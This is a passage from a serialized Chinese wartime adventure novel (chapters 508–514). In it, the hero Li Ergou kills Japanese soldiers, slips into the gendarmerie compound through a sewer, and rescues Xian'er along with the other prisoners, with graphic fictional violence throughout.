“嗤”的一声,刀刃插入皮肉的闷响混着惨叫在暗夜里炸开。 第一个日本鬼子还没落地,第二个已经举枪对准了他的胸口。 李二狗猛地拧身,撞在对方胳膊上,子弹擦着他的耳际飞过,打在门框上,溅起一串火星。他左手死死钳住对方握枪的手腕,右手的匕首反手捅进对方肋下,可以清晰地听见肋骨被刀刃顶开的脆响。 血腥味在院里弥漫开来。 李二狗刚抽出刀,东厢房又冲出两个人。 这次他们学乖了,一个持枪逼住他的退路,一个挥舞着武士刀砍过来。 武士刀带着风声劈向李二狗的脖颈,他侧身翻滚,武士刀砍在石板上,迸出的碎片擦破了他的额角。 血顺着眉骨往下淌,模糊了他的眼,世界瞬间变成一片猩红。 他借着这股血气,反而冲得更猛。 手中的匕首直取持枪日本鬼子的咽喉,对方慌忙后退,手里的枪托砸向他的面门。 李二狗不躲不闪,硬生生受了这一下,只觉鼻腔一热,却趁对方收力的瞬间,刀身一旋,从对方锁骨下扎了进去。 那人喉咙里发出“嗬嗬”的声响,像一只被捏住脖子的公鸭,缓缓跪了下去。 最后一个日本鬼子见状,武士刀脱手砸过来,转身就想翻墙逃走。 李二狗甩了甩头上的血,追上去时飞起一脚,正踹在对方膝盖上。 那人“噗通”一声跪倒,还没回头,后颈就被李二狗踩住,脸狠狠磕在地上,门牙混着血沫吐出来。 “说!鲜儿在哪?” 李二狗的匕首抵住他的后背,声音里裹着一股血味。 日本鬼子哆哆嗦嗦地用生硬的中文求饶道:“我不懂你说的,我不知道……” 李二狗脚下加了力,听见对方颈椎咯吱作响:“不说?老子让你的颈椎断成三截。” “我说!我说!”日本鬼子的声音抖得像筛糠,“她……她被我们队长带走了,去了日本宪兵队……我们是留下等你的,队长说,你一定会来……” 李二狗的心猛地沉了下去,他想起和鲜儿分别时,她眼里的笑就像檐下的暖阳。 第509章 日本宪兵队大牢 “你们为什么抓她?” 李二狗手里的匕首又插入日本鬼子身体半寸,那股冰凉的金属气息令人毛骨悚然。 日本鬼子吓坏了,他还从来没有遇见过如此冷酷无情的对手。 面对这样的对手,他心里非常清楚,只要稍有犹豫,等待自己的唯有死亡。 “因为……因为有人白天在城门袭击中认出了她……”这个日本鬼子的声音越来越低,“我们队长说,抓了她,肯定还能钓出背后的大鱼……” 李二狗听后后悔不迭。 像鲜儿这样的绝世美女,走到哪里都会非常引人注目,他怎么就能忽略了这一点。 同时令他感到痛心的是,为什么有些人渣总是这么容易就出卖自己的同胞给日本人?! 难道他们的良心就不会痛吗? 李二狗想到此,又把手中的匕首往下插了插,顿时又是一阵杀猪般的嚎叫。 “说,你们队长是谁?你们把鲜儿抓去了哪里?” “我们队长叫平田一郎,她……她应该被关进了日本宪兵队的大牢里。” 日本宪兵队的大牢意味着什么,李二狗再清楚不过了。 你即使是铁打的汉子,进了日本宪兵队的大牢也得脱几层皮,更何况是鲜儿这样一个柔弱的女子。 李二狗闭了闭眼,再睁开时,眼底的血丝像蛛网般蔓延。 他狠狠地朝着日本鬼子的后背跺了一脚,然后弯腰捡起地上的那把武士刀,反手劈断了对方的手腕。 在一声声惨叫里,李二狗的眼神变得更加冰冷。 “回去告诉你们队长,今天晚上,我一定会去日本宪兵队找他,要是鲜儿少了一根头发,我拆了他的骨头当柴烧。” 说完,他抬脚踹在对方的胸口上,看着那人像破麻袋似的滚到墙角,昏死过去。 院子里的灯笼彻底灭了,只有血腥味在雾气里弥漫。 李二狗走到西厢房门口,推开门,看见桌上还放着鲜儿没绣完的帕子,针脚歪歪扭扭的,上面绣了半只鸳鸯。 他拿起帕子,指尖仿佛触摸到鲜儿残留在上面的体温。 风从窗子吹进来,吹得烛台晃了晃,最后一点火苗也灭了。 李二狗把帕子揣进怀里,转身走出了院门。 枪声一响,日本人很快便会赶过来,他必须尽快离开这里。 此时,平田一郎肯定在日本宪兵队大牢里设下埋伏,等待着李二狗自投罗网,这时候前去救人,肯定会中了他们的诡计。 可一想到鲜儿在大牢里可能受到了刑罚,李二狗心如刀绞。 他刚才之所以留那个日本鬼子一条狗命,并告诉他今天晚上会去宪兵队劫狱,就是为了迷惑平田一郎。 希望他们把精力全部用在防范有人劫狱上,这样鲜儿可能就会少受一点苦。 李二狗在给鲜儿争取时间,同时也在给自己争取时间。 他的身影很快融入黑暗里。 来到奉天火车站五号仓库,秀才已经带领着杆子帮的兄弟们提前赶到了。 “狗哥,你来了,”秀才瞅了瞅李二狗身后,问道:“他们人呢?” 李二狗情绪非常低落,此时他的脑子里全是鲜儿,一想到她在日本宪兵队将会受到的非人待遇,他就痛得难以呼吸。 “狗哥,狗哥……” 秀才连喊了两声,李二狗才回过神来。 “秀才,你说什么?” 秀才看到李二狗魂不守舍的样子,急忙问道:“狗哥,你这是怎么了?出什么事了?” 李二狗心知,这种事和秀才说了根本起不了什么作用,反而不好和他解释自己和鲜儿的关系,另外他也不想因为这件事让秀才跟着自己冒险,干脆就不提这件事。 “没什么事,他们八点钟过来,咱们提前做好准备吧。” 秀才对于一次性运输这么多药材,心里还是有些担忧。 “狗哥,这么多药材,能运出去吗?我怎么心里一点底也没有。” 李二狗同样心里没底,但清风寨的人竟然已经答应,想来他们有自己的路子。 “他们既然说可以就让他们试试,不然咱们也没有别的办法。” 八点钟,柱子带着人,赶着几辆马车赶到了。 他看到李二狗身后站着一群人,个个气质独特,身上颇多江湖习气。 心想,果然李二狗不是单纯的生意人,怪不得他身手如此不凡。 “狗哥,我们快点装车吧,九点钟必须赶到城西的城门出城。” “好,秀才,让兄弟们帮着柱子兄弟装车,动作都麻利点。” 很快,满满的十大车药材就装好了。 “狗哥,我们现在就出发吧?” 李二狗看着十大马车药材,还是忍不住问道:“柱子兄弟,这么多药材,应该没什么问题吧?” 柱子笑道:“狗哥,你就放心吧,都打点好了,马上到时间了,我们得出发了。” “好,一切就拜托柱子兄弟了。” “狗哥,咱们是兄弟,你的事就是我的事,千万别客气,我们走吧?” 一群人赶着马车向城西的城门走去。 到达城西的城门,李二狗只看到几个伪满士兵在站岗,并没有日本人,想来这也是柱子为什么选择城西出城的理由。 为了以防万一,李二狗没有跟着马队一起出城,而是站在离城门不远处的一个拐角,看着他们先出城。 柱子走在队伍的最前面,他笑着和守门的一个伪满军军官点了一根烟,十辆马车没有经过任何检查便被直接放行。 李二狗再次大开眼界,果然是有钱能使鬼推磨。 等着柱子他们出了城,李二狗也紧跟着出了城。 看着柱子如此顺利地出了城,他对这批货运到关内充满了信心。 “秀才,我在奉天还有些事情需要处理,你和柱子兄弟一起先把货运出去,到了黄骅之后,你们把药材直接运到省城吴氏制药厂找静雯经理。” 秀才急忙问道:“狗哥,你不和我们一起走?是不是有什么事情?” 秀才一直觉得李二狗心事重重,肯定是遇到了什么棘手的事情,现在他选择留下来,更加印证了自己的判断。 第510章 李二狗夜探日本宪兵队 李二狗说道:“我有一点小事,等解决好了就回去,路上你们一定要听柱子兄弟的。” 秀才十分不解李二狗为何要自己留下来,但他也知道,李二狗一旦决定的事情,任何人都改变不了。 “狗哥,要不然我也留下吧?多一个人多一份力量、” 李二狗故作轻松地说道:“一点小事罢了,我一个人就够了,这批药材很重要,你务必安全送回去。” 秀才没有办法,只好说道:“放心吧,狗哥,我一定把药材安全送到。” 柱子虽然也不知道李二狗究竟为何选择留下来,但他隐约感觉是因为鲜儿。 鲜儿看李二狗的眼神和看别的男人不一样,那是一个女人对男人极度欣赏的眼神。 如果换做其他人,柱子肯定心里一百个不服气,但这个人是李二狗,他心服口服。 自己如果是个女人,也会爱上李二狗。 “狗哥,你放心去吧,我下山之前,大哥早有交待,等货物到了黄骅卸船之后,我会继续带着兄弟们把货物安全护送到目的地。” “柱子兄弟,那实在是太感谢了。”李二狗握住柱子的手感动不已。 秀才听后内心感到十分诧异,他完全理解不了李二狗究竟是用了什么方法,能在短时间内和一伙东北的土匪称兄道弟。 “狗哥,你不仅救了我们兄弟,还救了我们整个山寨,我们为你做这点小事又算得了什么?” “咱们是兄弟嘛,那些小事就不要再提了,你们一路小心,过几天咱们再见。” 和柱子、秀才分别之后,李二狗回到了奉天城。 本来他计划再上清风寨,把此事告诉镇东北。 但想到镇东北的那副暴躁脾气,如果他听说自己的妹子被日本人抓进了宪兵队大牢,他肯定会不顾一切地带人来劫狱。 就清风寨那点兵力,要想冲进防守森严的日本宪兵队救人,不仅救不出人,还有可能全军覆没。 此事只能智取,不能强攻。 李二狗回到奉天城,趁夜色来到日本宪兵队。 他明知道日本人已经设下天罗地网等着自己,但留给他的最佳时间只有今天晚上。 错过了今天晚上,不仅救人难度更大,鲜儿还很可能受到严刑拷打。 她那水葱一般娇嫩的肌肤又怎么受得了如此的摧残?他绝不能接受! 李二狗知道,日本人虽然加强了宪兵队的戒备,但加强的也只会是门口的警备力量。 在他们心里,中国人是不敢去日本宪兵队劫狱的! 当初,他之所以留下那个日本鬼子的性命,并告诉他自己今天晚上要去日本宪兵队劫狱,其实就是为了误导日本人。 没有人会狂妄到把自己什么时间去劫狱的事情提前告诉敌人。 告诉他们其实就是为了让他们放松警惕。 李二狗围着日本宪兵队转了一圈,高高的院墙足有四米多高,院墙上架设了高压铁丝网,风一吹,呲呲冒着火花。 紧挨着东面院墙有一栋三层的岗楼,上面架设了一个巨大的探照灯,可以看清整个日本宪兵队的情况。 在探照灯旁边,架设有一挺92式重机枪,射击范围覆盖整个院子。 李二狗远远地看到日本宪兵队的门口有七八名站岗的日本鬼子。 门口两侧用麻袋堆起战壕的墙体,墙体后面各有一挺机枪。 如此的防卫,李二狗想冲进去救人,无疑是送死。 别说救人,就是进去都难于登天。 但李二狗不是普通人,他是李二狗,天底下没有什么事情能难得住李二狗。 李二狗刚才在勘察日本宪兵队外围地形的时候,看到在西墙根不远的地方有一个下水道井盖。 井盖上面加了锁,想来下面的下水道应该是通往日本宪兵队里面的。 现在时间尚早,不时还有行人经过,李二狗准备后半夜再动手。 他来到一家五金店门口,店门已关闭,门上没上锁,想来应该是从里面插上了门闩,意味着店家应该是住在店里。 他敲了敲房门,很快里面就传来一个声音。 “谁?” “老板,我有急事,想买把钢锯。” “你来的太晚了,我们都关门了,你还是明天再来吧。” 李二狗说道:“老板,请你行个方便,我真有急用。” 老板不耐烦地说道:“我都躺下了,你还是明天再来吧。” 里面隐约传来一个女人不满的声音。 “真讨厌,早不来晚不来,真扫兴。” “老板,我有急用,麻烦你开开门。” 老板终于被李二狗激怒了,他大声呵斥道:“都给你说了明天再来,赶紧走!再不走我叫警察了。” 李二狗心想,为了一点男女之事连生意都不做,这样的人只配开个小店。 对于这种人,李二狗有的是办法。 “老板,一把钢锯一块大洋!” “你等着,我马上开门。” 里面传来窸窸窣窣穿衣服的声音,就连女人的抱怨都听不见了。 很快,一个中年男子披着一件羊皮袄打开了房门。 “老板,不好意思,这么晚打扰你……们。” 老板心里惦念着一块大洋,问道:“一把钢锯一块大洋,你不会是哐我吧?” 李二狗笑着掏出两块大洋,递到老板手中。 “我需要一把钢锯,一把钳子,锯条多给我来两根。” 老板收下两块大洋,笑得和吃了蜜蜂屎一般。 “好勒,您等着,我这就去给您取。” 李二狗瞥了一眼店铺东侧一个角落里有一张床,床上被窝里躺着一个女人。 虽然相貌平平,但披头散发的样子还是有几分韵味。 她竟看着李二狗笑,也许是她从来没见过像李二狗出手如此大方的男人。 很快老板便把一把钢锯、一把钳子和三根锯条拿出来交到李二狗手里。 “先生还有什么需要尽管说。” 李二狗用手指试了试锯条的锋利程度,果然是一把好锯。 “没有了,谢了,你们继续吧。” 李二狗转身离开了,老板关上房门,屋里顿时传来一阵尖叫声。 第511章 李二狗的绝望 月黑风高夜。 李二狗悄悄来到日本宪兵队外围的一个下水道井盖跟前,他警惕性向四周瞅了瞅,并没有什么异常。 他从随身携带的一个布包里掏出一根细长的铁棍,撬开了下水道井盖上的那把铁锁。 打开井盖,他又警惕性地看了看四周之后,然后才俯身钻入到下水道,并把井盖重新盖上。 下水道里臭气熏天,日本人吃人食不拉人屎,那股恶臭的味道差点把李二狗熏晕过去,好在他提前准备了一个口罩。 里面流淌的污水冰冷刺骨,他打开随身携带的手电照了照,好在这个下水道里面足够宽敞,污水沟一侧有一条仅供一人通行的小道。 李二狗沿着墙壁往里走,很快就被一堵由钢筋焊接的栅栏挡住了去路。 果然和李二狗事先预料的一样,日本人在下水道里设置了一堵铁门,阻挡外面的人进入。 日本人的这点小伎俩在李二狗面前就是小孩过家家。 他从布包里掏出钢锯,开始锯栅栏上的钢筋,很快两根钢筋便被锯断了。 李二狗俯身钻过栅栏,大约又向里前行了一百米,发现一个向上的下水井盖。 他顺着洞壁上的梯子往上爬,爬到顶部之后,用力向上推了推,下水井盖纹丝不动。 没想到,日本宪兵队里面的下水井盖也在上面上了锁。 想从里面推开外面上了锁的下水道井盖难于登天。 李二狗又用力试了试,井盖依然纹丝不动。 “他妈的!” 李二狗发出一声绝望的痛骂,但绝望之中,李二狗绝不会轻易放弃。 他沿着下水道继续前行,他就不相信,偌大的日本宪兵队会只有一个井盖,也不相信,每个井盖都会上锁。 又试了两个井盖,上面同样上锁。 李二狗彻底绝望了。 日本宪兵队防守如此严密,这确实出乎李二狗的意料。 如果不能从下水道潜入,他一个人想从正门强行进入救人无异于送死。 正当李二狗准备沿着原路返回时,听到前面传来一个日本人叽里呱啦的声音,虽然听不懂他在说什么,但从语气判断像是在抱怨什么。 既然前面还有一个下水道井盖,李二狗不愿意就此放弃,继续向前走去。 越往前臭味越浓,熏得他眼睛都有些睁不开。 李二狗心想,这个井盖应该位于公共厕所里面,如果井盖在公共厕所里面,那很可能不会上锁。 想到这,李二狗忍住恶臭,在井盖下方耐心等待着。 一直到上面没有了动静,李二狗才试着往上推了推,没想到,竟然推开了。 李二狗赶紧从下水道里爬了上来,果然是在一个公共厕所的一个角落里,那味道,实在是令人作呕。 他盖好井盖,刚要出去,就听到外边传来一阵脚步声。 公共厕所里面无遮无掩,根本没有可以躲避的地方,现在再下到下水道里躲避,时间上根本来不及。 想到这,李二狗目光中露出一丝杀意。 他躲在厕所门口,等日本人刚刚进入厕所,他便从后面捂住他的嘴巴,顺势把他的头猛地撞向墙面,这个可怜的日本人还没来及呼喊便昏死过去。 李二狗害怕他醒过来后暴露自己,便把他拖到井盖旁边,打开井盖之后,把他的身体拖到井盖上方,一刀割断了他的喉咙,鲜血顺着井壁流到下面的下水道里。 李二狗把他的尸体推进了下水道,正当他准备盖上井盖时,身后传来一个日本人的声音。 “什么人?” 李二狗听不懂他说了什么,只能待在原地不敢回头。 “你是什么人?在那里做什么?”身后的日本人继续质问道,声音里多了几分警惕。 李二狗虽然听不懂日语,但以前和酒井空在床上颠龙倒凤的时候,也学了几句简单的日语。 “八嘎!”他痛骂一声,“吆西,骚内丝奶!雅蠛蝶!” 身后的日本人懵逼了! 他不明白李二狗为什么说这些莫名其妙的话,但他说的又的确是日本话,还带着京都口音。 “你在那里到底在干什么?” 脚步声离李二狗越来越近,李二狗故意俯身趴到井盖上往下水道里张望,表现出自己有东西掉下去的样子。 “你在找什么?” 等着身后的日本人走近李二狗时,他突然转头,锐利的目光死死地盯住他。 日本人看到一张陌生的脸庞。 “你……” 未等这个日本人把话说完,李二狗一只手捂住他的嘴巴,另一只手按住他的脑袋。 “咔嚓”一声,扭断了他的脖子。 李二狗正准备把他的尸体扔进下水道时,突然想到了什么。 他迅速扒光了他身上的衣服和脚上的皮靴,然后才把他的尸体扔进了下水道里。 盖上井盖之后,李二狗拿着衣服和皮靴迅速离开了厕所。 他来到一个隐蔽的角落,赶紧换上了日本人的衣服。 日本宪兵队比李二狗想象中的要大,除了岗楼上不时有探照灯照过之外,院子里还有巡逻的日本士兵。 宪兵队的大牢在哪里?李二狗完全没有了办法。 子时的月光被乌云啃得残缺不全,李二狗躲在一堆木头箱子后面。 岗楼上的探照灯每隔十秒钟就扫过来一次,他盯着那道惨白的光,心急如焚。 黑暗里只有自己的喘息声,像寒风穿过一个破了洞的风箱。 巡逻士兵的脚步声从不远处传来,皮靴碾过碎石的响动在暗夜里显得格外清晰。 李二狗猫腰躲在木箱后,看着那几道黑影晃了过去。 宪兵队的营房都是日式的木楼,走廊里挂着昏暗的马灯,昏暗的灯光在地板上投下格子状的光影。 他贴着墙根走,每一步都蹑手蹑脚,避免发出任何响动。 路过一栋二层楼房时,他在窗户底下听到里面传来几声粗鄙的笑声。 “……那个女人嘴硬得很,队长说明天再审不出东西,就送到慰安所里,让大家开心开心!” 接着又是一阵狂浪的笑声。 李二狗虽然听不懂他们在说什么,但这个时间还没有睡觉,显然这里不是日本人睡觉的地方。 第512章 鲜儿,你在哪? 李二狗贴着墙往前走,他看到这栋楼房的入口处站有两个持枪的日本哨兵正在站岗。 他第一时间想到,这里很可能就是日本宪兵队的大牢。 他悄悄摸出腰间的匕首紧紧地握在手中。 李二狗知道,此时自己一旦选择动手,如果这里不是关押鲜儿的地方,他将没有机会再去其他地方寻找大牢。 在这个防守严密的日本宪兵队里面,他有且只有一次动手的机会! 李二狗犹豫了…… 如果自己选择失误,以后再想救出鲜儿难上加难。 同时他也知道,如果这里不是关押鲜儿的地方,他也绝对不会丢下鲜儿自己撤离,那他必然会暴露。 等待他的将是什么,他心知肚明! 一阵寒风刮过,李二狗仿佛嗅到空气中弥漫着一股血腥味。 他决定搏一把,不成功便成仁!大不了和鲜儿死在一起! 他猫着腰,悄悄摸向楼门口。 此时,两个哨兵背对着他,靠在门框上,其中一个哨兵正用火柴点烟,火光亮起来的瞬间,李二狗已经扑了上去。 他左手捂住那人的嘴巴,右手的匕首已经插入了他的喉咙。 对方的挣扎在三秒之后就停了,身体软下去的瞬间,另一个正在打瞌睡的哨兵仿佛嗅到了某种气息,他刚要转身,就被李二狗从身后反手一刀抹了脖子。 鲜血呲呲地喷射出来,他捂着自己的脖子发不出任何声响,随后一头栽在地上。 李二狗担心被巡逻的日本鬼子发现,赶紧把这两个哨兵的尸体拖到一旁的杂草丛里,然后进入了楼道里。 楼道口有一扇厚重的铁门,他从铁门的缝隙里看到里面确实有好几间牢房,空气中弥漫着一股血腥味。 他看了看铁门上的铁锁,掏出铁棍准备撬开时,又担心撬锁的声音太大,惊扰了里面的日本人。 他收起铁棍,返身回到刚才藏匿哨兵尸体的地方,在他们身上摸了摸,果然在其中一个人的身上摸到一串钥匙。 他捡起地上的一杆步枪扛在肩上,又拿了几个手雷别在腰上,然后才拿起钥匙回到铁门前。 他深吸一口气,把钥匙插入铁锁中,铁锁“咔哒”弹开的声音在寂静的夜里显得格外刺耳,他的心一下子提到了嗓子眼。 李二狗取下肩头的步枪,如果里面有人出来,就和他们拼了! 就是拼上自己这条命,也要把鲜儿救出来。 李二狗屏气凝神等待了几秒钟,里面却没有任何动静。 他轻轻地推开铁门,走了进去。 经过一个房间时,房门底部的缝隙里有些许亮光传出来,李二狗心想,这里应该就是自己刚才在窗外听到有人说话的那个房间。 他担心待会自己带着鲜儿从牢房返回的时候惊动他们,干脆一不做二不休,李二狗决定先宰了这间屋子里的日本鬼子。 他把步枪靠在墙上,把匕首握在手中,轻轻敲了敲房门。 片刻之后,里面传来一个声音,就是刚才说话那个日本人的声音。 “谁?” 李二狗听不懂,也没有回答,他继续敲了敲房门。 “八嘎!” 里面传来窸窸窣窣起床穿鞋的声音,紧接着就是一阵脚步声。 他打开房门的瞬间,李二狗已经捂住他的嘴巴,一刀割断了他的喉咙。 整套动作干脆利落、一气呵成,绝不拖泥带水。 借助着灯光,李二狗看到房间里摆有四张床,床上还睡着三个鬼子。 李二狗举起匕首,用被子捂在一个鬼子的头上,一刀捅进了他的胸口。 这个日本鬼子的双脚挣扎了几下,踢得床板叮当作响。 “八嘎!” 一个日本鬼子被惊醒,睁眼看到已经杀红眼的李二狗。 他起身刚想去拿挂在床头的手枪,李二狗已经来到他身前,一刀割断了他的喉咙。 最后一个日本鬼子也被惊醒了。 他想喊叫,嘴里却呜呜啦啦地发不出声音,显然是被李二狗吓坏了! 李二狗上前捂住他的嘴巴,他的眼睛睁得如同牛眼一般大,浑身抖得和筛糠一般。 李二狗鼻子里冷哼一声,没有丝毫犹豫,一刀割断了他的喉咙。 他把沾满鲜血的匕首在一个被子上擦了擦,然后关上房门走了出去。 里面有好几间牢房,每个牢房都被粗钢筋焊接的围墙围住,里面或多或少都有关押的犯人。 他们听到外边走动的声音,抬头看了李二狗一眼,又垂下头不再理会。 李二狗低头看了看自己身上的日本军服,明白了他们为何是这种表现。 他准备把这些人都放出去,但不是现在,他必须先找到鲜儿。 他挨间牢房去寻找鲜儿的身影,终于在最里面的一间牢房里看到一个熟悉的身影。 正是鲜儿! 他用手里的那串钥匙打开牢门,冲了进去。 鲜儿蜷缩在草堆上,脸上带着青紫的伤痕,原本清亮的眼睛肿得只剩下一条缝。 他冲过去抱住她,她身上的衣服已经破烂,身体上也有明显的鞭痕。 “鲜儿!” 鲜儿听出是李二狗的声音,以为自己在做梦,她睁开眼,看到李二狗的瞬间已经泪流满面。 “狗哥!怎么是你?” 她嘴里传出微弱的声音,就像寒风中的残烛。 看到鲜儿嘴角还残留着已经风干的血渍,李二狗心痛不已。 “鲜儿,我来晚了。” “狗哥,我就知道你一定会来救我的。” 鲜儿哭得身体一抖一抖的,李二狗的心也跟着她的抖动而抖动着。 “这里不是说话的地方,我们走。” 鲜儿咬着干裂的嘴唇点了点头,被他扶起来时脚下踉跄了一下,脚踝处的伤口在草堆上蹭出暗红色的血。 “他们逼问我是什么人,还让我说出你在什么地方?”她抬头看着李二狗,眼里的光比走廊里的灯光还亮,“狗哥,我没有给你丢人。” 李二狗没有说话,他脱下自己的外套裹在她身上,背起她往回走。 鲜儿的体重很轻,趴在他的背上就像一片羽毛,可他每一步都觉得千斤重。 第513章 狗哥,我们救救他们吧 李二狗背着鲜儿走在走廊里,把其他牢房里的众人看呆了。 一个日本鬼子背着一个遍体鳞伤的中国女犯人? 他要干什么? 日本鬼子什么时候变得如此怜香惜玉了? 众人纷纷扒在铁栏上看着外面的这两个人。 鲜儿看着他们憔悴且充满期盼的眼神,心软了。 “狗哥,我们把他们一起放了吧?” 从李二狗进入牢房的那一刻起,他就一直在不停地思考这个问题。 日本宪兵队的大牢里,关押的肯定都是爱国志士,甚至是一些抗日的英雄人物,把这些人救出去,于情于理,李二狗都责无旁贷。 但是把这么多人一次性都放出来,目标太大,肯定会引起日本人的注意。 到时候不仅救不了他们,还很可能会害他们丢了性命。 如果带这些人都通过公共厕所的下水道离开,十几个人,身上都有伤,更容易暴露。 一旦下水道的位置暴露,李二狗和鲜儿全部会被困死在这里。 李二狗甚至想过,把这些人放出来,利用他们去吸引日本鬼子的注意力,自己带着鲜儿从下水道离开。 但是这种龌龊的想法只是在他脑海里闪了一下。 如果真得这样做,不仅自己会瞧不起自己,鲜儿也会认为他是一个卑鄙无耻的小人。 “狗哥,我们救救他们吧?”看李二狗沉默不语,鲜儿再次建议道。 “鲜儿,你想好了吗?我们这样做,很可能……” 鲜儿说道:“我都想好了,他们都是英雄,我们不能见死不救。” “那好,”李二狗把鲜儿从背上放下来,“你在这里等着,我去救他们。” 李二狗站在走廊中间,看着牢房里的众人,他们大多是青壮年,每一个人虽遍体鳞伤但全部目光坚毅。 “大家都听我说,待会儿我会把大家放出来,出来后,大家一定要保持安静,一切行动听我指挥,我会把大家从这里带出去,大家听明白了就点点头。” 大家听了李二狗的话,顿时眼含热泪,纷纷点头。 李二狗拿起钥匙,打开牢门,把他们都放了出来。 “你们有没有会使枪的?” 有七八个人都举起了手。 “在亮灯的那个房间里有枪,你们几个人去把枪和手雷都带上。” 七八个人来到亮灯的房间,看到地上、床上躺着四个日本鬼子的尸体,每个人的脖子都被割开,身下是一滩猩红的血迹。 “杀得好啊!真他妈的痛快!” “这杀人的手法没有个十几年的功夫根本做不到!” “如果我们每个人都有这种本事,日本这种蕞尔小国又怎敢骑在咱们中国头上拉屎?!” “好了,大家快把枪拿上,准备冲出去。” 李二狗在走廊上继续交待道:“大家扶好伤势严重的人,外边有日本人的探照灯和巡逻队,为了以防万一,我们得分两批出去。” 众人面面相觑,知道留下来等待第二批离开的人肯定会面临更大的危险。 “我留下,让他们先走。” “我也留下!” “我也留下!” …… 一时间,众人纷纷要求自己留下,让别人先走,李二狗感动不已。 如果人人都有这种舍己为人的精神,小日本在中国一定待不长! “大家听我说,”李二狗挥手制止大家再争执下去,“现在我来分配。” “手里有枪的分成两批,每批两个人。” 四个持枪的自动分成了两批。 “前面的这五个人先走,后面这五个人第二批走,大家还有不同意见吗?” “没有,我们都听你的。” “好,待会儿出去后,大家一定要听从我的指挥,我们贴着墙根走,探照灯每隔十秒钟会扫过来一次,当我数到九的时候,大家就要提前蹲下来隐藏好。一旦遇到鬼子巡逻队,大家不要慌张,只要隐藏好就没有问题,大家都听明白了吗?” 众人纷纷点头。 李二狗走到鲜儿跟前,说道:“鲜儿,我们走。” 鲜儿没有动,她说道:“狗哥,你带他们先走,我等第二批再走。” 李二狗顾不得旁人的目光,坚决说道:“鲜儿,你必须第一批走!” 鲜儿倔强地说道:“我知道你送完第一批人还会回来接应第二批人,我要时刻和你在一起。” 其中一个年纪稍长的男子说道:“姑娘,你还是听这位兄弟的吧,本来他可以带你自己走的,现在可不能因为救我们而害了你啊。” “是啊,姑娘,你先走吧。” “先走吧。” 其实鲜儿的内心并没有想那么多,她只是想等到最后和李二狗一起离开。 “鲜儿,快,我们一起走。” 鲜儿还是坚定地没有动,她说道:“狗哥,我知道你会回来的,我等你。” 李二狗看着鲜儿决绝的眼神,没想到她是这样一位倔强而又深情的姑娘。 “那好,等我回来接你。”李二狗忍住眼眶里打转的眼泪,“大家跟我来。” 李二狗在前面带路,持枪的两个人断后,一行人贴着墙根,悄然向公共厕所的方向走去。 李二狗嘴里数着“一、二、三……九,蹲下!” 探照灯扫过之后,众人起身再次跟随着李二狗往前走。 很幸运,路上没有遇到日本鬼子的巡逻队,大家来到公共厕所。 “这里……” 大家看到是一间臭味熏天的公共厕所,顿时傻了眼。 他不会是逗我们玩吧? 他们每个人心里都有这种想法。 李二狗没有说什么,他来到厕所角落旁的一个下水道井盖旁边,掀开了井盖。 “大家快下去,这里通往外边。” 众人的眼睛亮了,打死他们也想不到这种方法,他们中很多人甚至都没有听说过下水道。 大家相互搀扶着进入下水道里。 李二狗对最后一个下去的人嘱咐道:“下去之后你带着大家一直往右走,在第四个井盖下方等着我们,千万不要提前上去,以免打草惊蛇。” “好,兄弟,你也要小心一点,我们在下面等着你们。” 李二狗盖好井盖之后,快步离开了公共厕所。 第514章 逃出生天 回到大牢,众人看到李二狗安然无恙地返回均欣喜不已,焦躁不安的内心也终于暂时安定下来。 “鲜儿,你怎么样?” 鲜儿眼含热泪道:“狗哥,我就知道你一定会回来接我们的。” 李二狗笑着捏了捏她粉嫩的俏脸,柔声道:“我怎么可能丢下你啊?傻丫头。” 他扶起鲜儿,再次对大家嘱咐道:“待会儿大家出去之后,一定要听从我的指挥!我们走。” 出了门,众人在李二狗的带领下,贴着墙根向那间公共厕所走去。 李二狗嘴里一直数着“一、二、三……九,蹲下!” 等到探照灯扫过之后,众人起身再次跟随着李二狗往前走。 和上次一样幸运,一路上并没有遇到日本鬼子的巡逻队,大家安全来到公共厕所。 大家看到李二狗把自己带到一间臭味熏天的公共厕所,里面除了污秽不堪,什么都没有,纷纷露出了和第一批人同样的表情。 李二狗没有说话,径直走到井盖前,俯身掀开井盖。 “大家快下去,其他人在下面等着我们呢。” 众人惊讶的同时也欣喜不已。 “我去厕所撒尿!” 外边突然传来了一阵脚步声,李二狗虽然听不懂外边的日本鬼子说了什么,但脚步声却渐渐清晰可闻。 很明显,外边人正在向这间厕所走来。 李二狗瞅了一眼,还有四个人没有下去,包括鲜儿。 “你们快下,我去挡住他!” “狗哥……” 鲜儿一把拉住李二狗的胳膊,李二狗给了她一个微笑的眼神。 “先去里面等我!” 鲜儿泪眼婆娑,她已离不开这个男人。 “你一定要回来,我会一直在里面等你的。” 李二狗再次捏了捏鲜儿粉嫩的俏脸,然后快速走向厕所门口,把匕首握在手中。 外边的日本鬼子吹着口哨刚走进厕所,当他看到有人正在往下水道里钻时,慌乱地要取下肩上的步枪。 “八……” 话音未落,李二狗已经从后面捂住他的嘴巴,一刀割断了他的喉咙。 “里面什么动静?” 原来是一个鬼子的巡逻队正在外边等候。 “竹下君,你怎么了?” 里面没有一点声音。 这时,鲜儿的半个身子已经钻到下水道里。 她目光灼灼地看向李二狗。 李二狗向她挥了挥手,低声道:“快走!” 鲜儿深情地凝视了一眼李二狗,钻入了下水道。 “竹下君,你怎么了?怎么不说话?” 外边传来一排脚步声和“哗啦哗啦”拉动枪栓的声音。 李二狗知道,此时自己已经没有时间下到下水道里了。 如果不能及时把井盖盖好,一旦暴露,所有的人都将被困死在里面。 “你快下去,把井盖盖好!” 最后一个人突然拉过井盖盖好,快步来到李二狗对面的地方,手中紧握着那杆缴获的步枪。 他和李二狗相视一笑,彼此没有过多的言语,但已明白对方的心意。 “竹下君,你怎么不说话?” 一个日本人的脚出现在厕所门口,枪还没有举起来,李二狗手里的匕首直取那人的胸口。 刀刃没入的瞬间,另一个日本鬼子的刺刀捅了过来,他侧身避开,反手一刀划开了对方的小腹。 惨叫声惊动了整个巡逻队。 “里面有人!” “砰砰砰……” 密集的子弹纷纷射向这间不足十平米的公共厕所。 院子里传来凄厉的警报声,还有日语的喊叫声。 “兄弟,你快打开井盖下去,带着他们赶紧离开这里,我留下来掩护你们,不要等我!” 说着,李二狗把一颗手雷扔了出去。 “轰”的一声,手雷在外边炸响了。 “要走一起走!” 两人还没来得及争执,一颗手雷就滚到了李二狗脚下。 他眼疾手快,一脚把手雷踢了出去。 “轰”的一声,爆炸产生的冲击波把两人震翻在地。 “抓住他们!抓活的!” 外边的声音越来越大,眼见着就要把他们包围了。 